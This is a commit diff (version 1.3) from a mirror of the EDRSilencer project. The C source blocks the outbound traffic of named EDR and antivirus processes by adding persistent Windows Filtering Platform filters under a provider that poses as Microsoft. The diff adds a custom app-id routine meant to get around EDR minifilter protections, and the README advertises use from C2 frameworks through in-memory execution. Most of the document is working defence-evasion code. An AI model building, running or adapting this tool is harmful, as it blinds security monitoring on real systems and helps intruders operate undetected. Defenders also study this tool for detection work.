Mirrors/netero1010-edrsilencer
1
0
Fork 0
mirror of https://github.com/netero1010/EDRSilencer.git synced 2026-06-08 17:07:11 +00:00
Code Issues Packages Projects Releases Wiki Activity

Version 1.3

Browse Source
This commit is contained in:
netero1010
2024-01-07 21:18:23 +08:00
parent fb8f4b43a9
commit 57f6bb6b24
4 changed files with 253 additions and 115 deletions
Download Patch File Download Diff File Expand all files Collapse all files
EDRSilencer.c
+68 -104
View File
@@ -57,6 +57,7 @@ char* edrProcess[] = {
"sfc.exe", "sfc.exe",
// ESET Inspect // ESET Inspect
"EIConnector.exe", "EIConnector.exe",
"ekrn.exe",
// Harfanglab EDR // Harfanglab EDR
"hurukai.exe", "hurukai.exe",
//TrendMicro Apex One //TrendMicro Apex One
@@ -72,8 +73,6 @@ char* edrProcess[] = {
"TmCCSF.exe" "TmCCSF.exe"
}; };
BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE };
// The "unblockall" feature will delete all filters that are based on the custom filter name // The "unblockall" feature will delete all filters that are based on the custom filter name
WCHAR* filterName = L"Custom Outbound Filter"; WCHAR* filterName = L"Custom Outbound Filter";
WCHAR* providerName = L"Microsoft Corporation"; WCHAR* providerName = L"Microsoft Corporation";
@@ -82,32 +81,7 @@ WCHAR* providerName = L"Microsoft Corporation";
// - avoid removing legitimate WFP provider // - avoid removing legitimate WFP provider
WCHAR* providerDescription = L"Microsoft Windows WFP Built-in custom provider."; WCHAR* providerDescription = L"Microsoft Windows WFP Built-in custom provider.";
// d78e1e87-8644-4ea5-9437-d809ecefc971 BOOL inWfpFlag[sizeof(edrProcess) / sizeof(edrProcess[0])] = { FALSE };
DEFINE_GUID(
FWPM_CONDITION_ALE_APP_ID,
0xd78e1e87,
0x8644,
0x4ea5,
0x94, 0x37, 0xd8, 0x09, 0xec, 0xef, 0xc9, 0x71
);
// c38d57d1-05a7-4c33-904f-7fbceee60e82
DEFINE_GUID(
FWPM_LAYER_ALE_AUTH_CONNECT_V4,
0xc38d57d1,
0x05a7,
0x4c33,
0x90, 0x4f, 0x7f, 0xbc, 0xee, 0xe6, 0x0e, 0x82
);
// 4a72393b-319f-44bc-84c3-ba54dcb3b6b4
DEFINE_GUID(
FWPM_LAYER_ALE_AUTH_CONNECT_V6,
0x4a72393b,
0x319f,
0x44bc,
0x84, 0xc3, 0xba, 0x54, 0xdc, 0xb3, 0xb6, 0xb4
);
// Check if the running process is our list // Check if the running process is our list
BOOL isInEdrProcessList(const char* procName) { BOOL isInEdrProcessList(const char* procName) {
@@ -120,52 +94,6 @@ BOOL isInEdrProcessList(const char* procName) {
return FALSE; return FALSE;
} }
// Get provider GUID by description
BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderGUID) {
DWORD result = 0;
HANDLE hEngine = NULL;
HANDLE enumHandle = NULL;
FWPM_PROVIDER0** providers = NULL;
UINT32 numProviders = 0;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result);
return FALSE;
}
result = FwpmProviderCreateEnumHandle0(hEngine, NULL, &enumHandle);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmProviderCreateEnumHandle0 failed with error code: 0x%x\n", result);
FwpmEngineClose0(hEngine);
return FALSE;
}
result = FwpmProviderEnum0(hEngine, enumHandle, 100, &providers, &numProviders);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmProviderEnum0 failed with error code: 0x%x\n", result);
FwpmEngineClose0(hEngine);
return FALSE;
}
for (UINT32 i = 0; i < numProviders; i++) {
if (providers[i]->displayData.description != NULL) {
if (wcscmp(providers[i]->displayData.description, providerDescription) == 0) {
*outProviderGUID = providers[i]->providerKey;
return TRUE;
}
}
}
if (providers) {
FwpmFreeMemory0((void**)&providers);
}
FwpmProviderDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine);
return FALSE;
}
// Add WFP filters for all known EDR process(s) // Add WFP filters for all known EDR process(s)
void BlockEdrProcessTraffic() { void BlockEdrProcessTraffic() {
DWORD result = 0; DWORD result = 0;
@@ -177,7 +105,7 @@ void BlockEdrProcessTraffic() {
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return; return;
} }
@@ -185,13 +113,13 @@ void BlockEdrProcessTraffic() {
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) { if (hProcessSnap == INVALID_HANDLE_VALUE) {
printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x\n", GetLastError()); printf("[-] CreateToolhelp32Snapshot (of processes) failed with error code: 0x%x.\n", GetLastError());
return; return;
} }
pe32.dwSize = sizeof(PROCESSENTRY32); pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcessSnap, &pe32)) { if (!Process32First(hProcessSnap, &pe32)) {
printf("[-] Process32First failed with error code: 0x%x\n", GetLastError()); printf("[-] Process32First failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hProcessSnap); CloseHandle(hProcessSnap);
return; return;
} }
@@ -211,15 +139,33 @@ void BlockEdrProcessTraffic() {
GUID providerGuid = {0}; GUID providerGuid = {0};
FWP_BYTE_BLOB* appId = NULL; FWP_BYTE_BLOB* appId = NULL;
UINT64 filterId = 0; UINT64 filterId = 0;
ErrorCode errorCode = CUSTOM_SUCCESS;
QueryFullProcessImageNameW(hProcess, 0, fullPath, &size); QueryFullProcessImageNameW(hProcess, 0, fullPath, &size);
DWORD result = FwpmGetAppIdFromFileName0(fullPath, &appId); errorCode = CustomFwpmGetAppIdFromFileName0(fullPath, &appId);
if (errorCode != CUSTOM_SUCCESS) {
if (result != ERROR_SUCCESS) { switch (errorCode) {
printf(" [-] FwpmGetAppIdFromFileName0 failed to get app ID with error code: 0x%x\n", result); case CUSTOM_FILE_NOT_FOUND:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", fullPath);
break;
case CUSTOM_MEMORY_ALLOCATION_ERROR:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", fullPath);
break;
case CUSTOM_NULL_INPUT:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", fullPath);
break;
case CUSTOM_DRIVE_NAME_NOT_FOUND:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", fullPath);
break;
case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
printf(" [-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", fullPath);
break;
default:
break;
}
CloseHandle(hProcess); CloseHandle(hProcess);
continue; continue;
} }
// Sett up WFP filter and condition // Sett up WFP filter and condition
filter.displayData.name = filterName; filter.displayData.name = filterName;
@@ -242,7 +188,7 @@ void BlockEdrProcessTraffic() {
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT; provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
result = FwpmProviderAdd0(hEngine, &provider, NULL); result = FwpmProviderAdd0(hEngine, &provider, NULL);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf(" [-] FwpmProviderAdd0 failed with error code: 0x%x\n", result); printf(" [-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
} else { } else {
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
filter.providerKey = &providerGuid; filter.providerKey = &providerGuid;
@@ -255,7 +201,7 @@ void BlockEdrProcessTraffic() {
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
} else { } else {
printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result); printf(" [-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
} }
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
@@ -263,13 +209,13 @@ void BlockEdrProcessTraffic() {
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); printf(" Added WFP filter for \"%S\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
} else { } else {
printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result); printf(" [-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
} }
FwpmFreeMemory0((void**)&appId); FreeAppId(appId);
CloseHandle(hProcess); CloseHandle(hProcess);
} else { } else {
printf(" [-] Could not open process \"%s\" with error code: 0x%x\n", pe32.szExeFile, GetLastError()); printf(" [-] Could not open process \"%s\" with error code: 0x%x.\n", pe32.szExeFile, GetLastError());
} }
} }
} while (Process32Next(hProcessSnap, &pe32)); } while (Process32Next(hProcessSnap, &pe32));
@@ -294,17 +240,35 @@ void BlockProcessTraffic(char* fullPath) {
GUID providerGuid = {0}; GUID providerGuid = {0};
FWP_BYTE_BLOB* appId = NULL; FWP_BYTE_BLOB* appId = NULL;
UINT64 filterId = 0; UINT64 filterId = 0;
ErrorCode errorCode = CUSTOM_SUCCESS;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return; return;
} }
CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0])); CharArrayToWCharArray(fullPath, wFullPath, sizeof(wFullPath) / sizeof(wFullPath[0]));
result = FwpmGetAppIdFromFileName0(wFullPath, &appId); errorCode = CustomFwpmGetAppIdFromFileName0(wFullPath, &appId);
if (result != ERROR_SUCCESS) { if (errorCode != CUSTOM_SUCCESS) {
printf("[-] FwpmGetAppIdFromFileName0 failed to get app ID with error code: 0x%x. Please check if the process path is valid.\n", result); switch (errorCode) {
case CUSTOM_FILE_NOT_FOUND:
printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The file path cannot be found.\n", wFullPath);
break;
case CUSTOM_MEMORY_ALLOCATION_ERROR:
printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Error occurred in allocating memory for appId.\n", wFullPath);
break;
case CUSTOM_NULL_INPUT:
printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Please check your input.\n", wFullPath);
break;
case CUSTOM_DRIVE_NAME_NOT_FOUND:
printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. The drive name cannot be found.\n", wFullPath);
break;
case CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME:
printf("[-] CustomFwpmGetAppIdFromFileName0 failed to convert the \"%S\" to app ID format. Failed to convert drive name to DOS device name.\n", wFullPath);
break;
default:
break;
}
return; return;
} }
@@ -329,7 +293,7 @@ void BlockProcessTraffic(char* fullPath) {
provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT; provider.flags = FWPM_PROVIDER_FLAG_PERSISTENT;
result = FwpmProviderAdd0(hEngine, &provider, NULL); result = FwpmProviderAdd0(hEngine, &provider, NULL);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmProviderAdd0 failed with error code: 0x%x\n", result); printf("[-] FwpmProviderAdd0 failed with error code: 0x%x.\n", result);
} else { } else {
if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) { if (GetProviderGUIDByDescription(providerDescription, &providerGuid)) {
filter.providerKey = &providerGuid; filter.providerKey = &providerGuid;
@@ -342,7 +306,7 @@ void BlockProcessTraffic(char* fullPath) {
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId); printf("Added WFP filter for \"%s\" (Filter id: %d, IPv4 layer).\n", fullPath, filterId);
} else { } else {
printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x\n", result); printf("[-] Failed to add filter in IPv4 layer with error code: 0x%x.\n", result);
} }
filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6; filter.layerKey = FWPM_LAYER_ALE_AUTH_CONNECT_V6;
@@ -350,10 +314,10 @@ void BlockProcessTraffic(char* fullPath) {
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId); printf("Added WFP filter for \"%s\" (Filter id: %d, IPv6 layer).\n", fullPath, filterId);
} else { } else {
printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x\n", result); printf("[-] Failed to add filter in IPv6 layer with error code: 0x%x.\n", result);
} }
FwpmFreeMemory0((void**)&appId); FreeAppId(appId);
FwpmEngineClose0(hEngine); FwpmEngineClose0(hEngine);
return; return;
} }
@@ -369,13 +333,13 @@ void UnblockAllWfpFilters() {
BOOL foundFilter = FALSE; BOOL foundFilter = FALSE;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return; return;
} }
result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle); result = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x\n", result); printf("[-] FwpmFilterCreateEnumHandle0 failed with error code: 0x%x.\n", result);
return; return;
} }
@@ -383,7 +347,7 @@ void UnblockAllWfpFilters() {
result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters); result = FwpmFilterEnum0(hEngine, enumHandle, 1, &filters, &numFilters);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmFilterEnum0 failed with error code: 0x%x\n", result); printf("[-] FwpmFilterEnum0 failed with error code: 0x%x.\n", result);
FwpmFilterDestroyEnumHandle0(hEngine, enumHandle); FwpmFilterDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine); FwpmEngineClose0(hEngine);
return; return;
@@ -411,7 +375,7 @@ void UnblockAllWfpFilters() {
result = FwpmProviderDeleteByKey0(hEngine, &providerGuid); result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
if (result != FWP_E_IN_USE) { if (result != FWP_E_IN_USE) {
printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x\n", result); printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result);
} }
} else { } else {
printf("Deleted custom WFP provider.\n"); printf("Deleted custom WFP provider.\n");
@@ -433,7 +397,7 @@ void UnblockWfpFilter(UINT64 filterId) {
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine); result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x\n", result); printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return; return;
} }
@@ -452,7 +416,7 @@ void UnblockWfpFilter(UINT64 filterId) {
result = FwpmProviderDeleteByKey0(hEngine, &providerGuid); result = FwpmProviderDeleteByKey0(hEngine, &providerGuid);
if (result != ERROR_SUCCESS) { if (result != ERROR_SUCCESS) {
if (result != FWP_E_IN_USE) { if (result != FWP_E_IN_USE) {
printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x\n", result); printf("[-] FwpmProviderDeleteByKey0 failed with error code: 0x%x.\n", result);
} }
} else { } else {
printf("Deleted custom WFP provider.\n"); printf("Deleted custom WFP provider.\n");
@@ -464,7 +428,7 @@ void UnblockWfpFilter(UINT64 filterId) {
void PrintHelp() { void PrintHelp() {
printf("Usage: EDRSilencer.exe <blockedr/block/unblockall/unblock>\n"); printf("Usage: EDRSilencer.exe <blockedr/block/unblockall/unblock>\n");
printf("Version: 1.2\n"); printf("Version: 1.3\n");
printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n"); printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of all detected EDR processes:\n");
printf(" EDRSilencer.exe blockedr\n\n"); printf(" EDRSilencer.exe blockedr\n\n");
printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n"); printf("- Add WFP filters to block the IPv4 and IPv6 outbound traffic of a specific process (full path is required):\n");
@@ -511,7 +475,7 @@ int main(int argc, char *argv[]) {
UINT64 filterId = strtoull(argv[2], &endptr, 10); UINT64 filterId = strtoull(argv[2], &endptr, 10);
if (errno != 0) { if (errno != 0) {
printf("[-] strtoull failed with error code: 0x%x\n", errno); printf("[-] strtoull failed with error code: 0x%x.\n", errno);
return 1; return 1;
} }
README.md
+2 -1
View File
@@ -7,6 +7,7 @@ This tool offers the following features:
- Remove all WFP filters created by this tool - Remove all WFP filters created by this tool
- Remove a specific WFP filter by filter id - Remove a specific WFP filter by filter id
- Support to run in C2 with in-memory PE execution module (e.g., `BruteRatel's memexec`) - Support to run in C2 with in-memory PE execution module (e.g., `BruteRatel's memexec`)
- Some EDR controls (e.g., minifilter) deny access when a process attempts to obtain a file handle of its EDR processes (e.g., through `CreateFileW`). However, the `FwpmGetAppIdFromFileName0` API, which is used to obtain the FWP app id of the targeted EDR process, calls `CreateFileW` internally. To avoid this, a custom `FwpmGetAppIdFromFileName0` was implemented to construct the app id without invoking `CreateFileW`, thus preventing unexpected failures when adding a WFP filter to an EDR process
The tool currently supports the following EDRs: The tool currently supports the following EDRs:
- Microsoft Defender for Endpoint and Microsoft Defender Antivirus - Microsoft Defender for Endpoint and Microsoft Defender Antivirus
@@ -49,7 +50,7 @@ Usage: EDRSilencer.exe <blockedr/block/unblockall/unblock>
## Compile ## Compile
``` ```
x86_64-w64-mingw32-gcc EDRSilencer.c -o EDRSilencer.exe -lfwpuclnt utils.c x86_64-w64-mingw32-gcc EDRSilencer.c utils.c -o EDRSilencer.exe -lfwpuclnt
``` ```
## Example ## Example
utils.c
+141 -10
View File
@@ -9,12 +9,12 @@ BOOL CheckProcessIntegrityLevel() {
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) { if (GetLastError() != ERROR_NO_TOKEN) {
printf("[-] OpenThreadToken failed with error code: 0x%x\n", GetLastError()); printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
return FALSE; return FALSE;
} }
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
printf("[-] OpenProcessToken failed with error code: 0x%x\n", GetLastError()); printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
return FALSE; return FALSE;
} }
} }
@@ -22,20 +22,20 @@ BOOL CheckProcessIntegrityLevel() {
// Get the size of the integrity level information // Get the size of the integrity level information
if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) && if (!GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &dwLength) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) { GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
printf("[-] GetTokenInformation failed with error code: 0x%x\n", GetLastError()); printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken); CloseHandle(hToken);
return FALSE; return FALSE;
} }
pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength); pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);
if (pTIL == NULL) { if (pTIL == NULL) {
printf("[-] LocalAlloc failed with error code: 0x%x\n", GetLastError()); printf("[-] LocalAlloc failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken); CloseHandle(hToken);
return FALSE; return FALSE;
} }
if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) { if (!GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, dwLength, &dwLength)) {
printf("[-] GetTokenInformation failed with error code: 0x%x\n", GetLastError()); printf("[-] GetTokenInformation failed with error code: 0x%x.\n", GetLastError());
LocalFree(pTIL); LocalFree(pTIL);
CloseHandle(hToken); CloseHandle(hToken);
return FALSE; return FALSE;
@@ -61,18 +61,18 @@ BOOL EnableSeDebugPrivilege() {
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, TRUE, &hToken)) {
if (GetLastError() != ERROR_NO_TOKEN) { if (GetLastError() != ERROR_NO_TOKEN) {
printf("[-] OpenThreadToken failed with error code: 0x%x\n", GetLastError()); printf("[-] OpenThreadToken failed with error code: 0x%x.\n", GetLastError());
return FALSE; return FALSE;
} }
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) {
printf("[-] OpenProcessToken failed with error code: 0x%x\n", GetLastError()); printf("[-] OpenProcessToken failed with error code: 0x%x.\n", GetLastError());
return FALSE; return FALSE;
} }
} }
if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){ if (!LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &tokenPrivileges.Privileges[0].Luid)){
printf("[-] LookupPrivilegeValueA failed with error code: 0x%x\n", GetLastError()); printf("[-] LookupPrivilegeValueA failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken); CloseHandle(hToken);
return FALSE; return FALSE;
} }
@@ -81,7 +81,7 @@ BOOL EnableSeDebugPrivilege() {
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
printf("[-] AdjustTokenPrivileges failed with error code: 0x%x\n", GetLastError()); printf("[-] AdjustTokenPrivileges failed with error code: 0x%x.\n", GetLastError());
CloseHandle(hToken); CloseHandle(hToken);
return FALSE; return FALSE;
} }
@@ -100,7 +100,138 @@ void CharArrayToWCharArray(const char charArray[], WCHAR wCharArray[], size_t wC
int result = MultiByteToWideChar(CP_UTF8, 0, charArray, -1, wCharArray, wCharArraySize); int result = MultiByteToWideChar(CP_UTF8, 0, charArray, -1, wCharArray, wCharArraySize);
if (result == 0) { if (result == 0) {
printf("[-] MultiByteToWideChar failed with error code: 0x%x\n", GetLastError()); printf("[-] MultiByteToWideChar failed with error code: 0x%x.\n", GetLastError());
wCharArray[0] = L'\0'; wCharArray[0] = L'\0';
} }
}
BOOL GetDriveName(PCWSTR filePath, wchar_t* driveName, size_t driveNameSize) {
if (!filePath) {
return FALSE;
}
const wchar_t *colon = wcschr(filePath, L':');
if (colon && (colon - filePath + 1) < driveNameSize) {
wcsncpy(driveName, filePath, colon - filePath + 1);
driveName[colon - filePath + 1] = L'\0';
return TRUE;
} else {
return FALSE;
}
}
ErrorCode ConvertToNtPath(PCWSTR filePath, wchar_t* ntPathBuffer, size_t bufferSize) {
WCHAR driveName[10];
WCHAR ntDrivePath[MAX_PATH];
if (!filePath || !ntPathBuffer) {
return CUSTOM_NULL_INPUT;
}
if (!GetDriveName(filePath, driveName, sizeof(driveName) / sizeof(WCHAR))) {
return CUSTOM_DRIVE_NAME_NOT_FOUND;
}
if (QueryDosDeviceW(driveName, ntDrivePath, sizeof(ntDrivePath) / sizeof(WCHAR)) == 0) {
return CUSTOM_FAILED_TO_GET_DOS_DEVICE_NAME;
}
swprintf(ntPathBuffer, bufferSize, L"%S%S", ntDrivePath, filePath + wcslen(driveName));
for (size_t i = 0; ntPathBuffer[i] != L'\0'; ++i) {
ntPathBuffer[i] = towlower(ntPathBuffer[i]);
}
return CUSTOM_SUCCESS;
}
BOOL FileExists(PCWSTR filePath) {
if (!filePath) {
return FALSE;
}
DWORD fileAttrib = GetFileAttributesW(filePath);
if (fileAttrib == INVALID_FILE_ATTRIBUTES) {
return FALSE;
}
return TRUE;
}
ErrorCode CustomFwpmGetAppIdFromFileName0(PCWSTR filePath, FWP_BYTE_BLOB** appId) {
if (!FileExists(filePath)) {
return CUSTOM_FILE_NOT_FOUND;
}
WCHAR ntPath[MAX_PATH];
ErrorCode errorCode = ConvertToNtPath(filePath, ntPath, sizeof(ntPath));
if (errorCode != CUSTOM_SUCCESS) {
return errorCode;
}
*appId = (FWP_BYTE_BLOB*)malloc(sizeof(FWP_BYTE_BLOB));
if (!*appId) {
return CUSTOM_MEMORY_ALLOCATION_ERROR;
}
(*appId)->size = wcslen(ntPath) * sizeof(WCHAR) + sizeof(WCHAR);
(*appId)->data = (UINT8*)malloc((*appId)->size);
if (!(*appId)->data) {
free(*appId);
return CUSTOM_MEMORY_ALLOCATION_ERROR;
}
memcpy((*appId)->data, ntPath, (*appId)->size);
return CUSTOM_SUCCESS;
}
void FreeAppId(FWP_BYTE_BLOB* appId) {
if (appId) {
if (appId->data) {
free(appId->data);
}
free(appId);
}
}
// Get provider GUID by description
BOOL GetProviderGUIDByDescription(PCWSTR providerDescription, GUID* outProviderGUID) {
DWORD result = 0;
HANDLE hEngine = NULL;
HANDLE enumHandle = NULL;
FWPM_PROVIDER0** providers = NULL;
UINT32 numProviders = 0;
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmEngineOpen0 failed with error code: 0x%x.\n", result);
return FALSE;
}
result = FwpmProviderCreateEnumHandle0(hEngine, NULL, &enumHandle);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmProviderCreateEnumHandle0 failed with error code: 0x%x.\n", result);
FwpmEngineClose0(hEngine);
return FALSE;
}
result = FwpmProviderEnum0(hEngine, enumHandle, 100, &providers, &numProviders);
if (result != ERROR_SUCCESS) {
printf("[-] FwpmProviderEnum0 failed with error code: 0x%x.\n", result);
FwpmEngineClose0(hEngine);
return FALSE;
}
for (UINT32 i = 0; i < numProviders; i++) {
if (providers[i]->displayData.description != NULL) {
if (wcscmp(providers[i]->displayData.description, providerDescription) == 0) {
*outProviderGUID = providers[i]->providerKey;
return TRUE;
}
}
}
if (providers) {
FwpmFreeMemory0((void**)&providers);
}
FwpmProviderDestroyEnumHandle0(hEngine, enumHandle);
FwpmEngineClose0(hEngine);
return FALSE;
} }
utils.h
+42
View File
@@ -4,8 +4,50 @@
#include <stdio.h> #include <stdio.h>
#include <tlhelp32.h> #include <tlhelp32.h>
// d78e1e87-8644-4ea5-9437-d809ecefc971
DEFINE_GUID(
FWPM_CONDITION_ALE_APP_ID,
0xd78e1e87,
0x8644,
0x4ea5,
0x94, 0x37, 0xd8, 0x09, 0xec, 0xef, 0xc9, 0x71
);
// c38d57d1-05a7-4c33-904f-7fbceee60e82
DEFINE_GUID(
FWPM_LAYER_ALE_AUTH_CONNECT_V4,
0xc38d57d1,
0x05a7,
0x4c33,
0x90, 0x4f, 0x7f, 0xbc, 0xee, 0xe6, 0x0e, 0x82
);
// 4a72393b-319f-44bc-84c3-ba54dcb3b6b4
DEFINE_GUID(
FWPM_LAYER_ALE_AUTH_CONNECT_V6,
0x4a72393b,
0x319f,
0x44bc,
0x84, 0xc3, 0xba, 0x54, 0xdc, 0xb3, 0xb6, 0xb4
);
typedef enum ErrorCode {
CUSTOM_SUCCESS = 0,
CUSTOM_FILE_NOT_FOUND = 0x1,
CUSTOM_MEMORY_ALLOCATION_ERROR = 0x2,
CUSTOM_NULL_INPUT = 0x3,
CUSTOM_DRIVE_NAME_NOT_FOUND = 0x4,
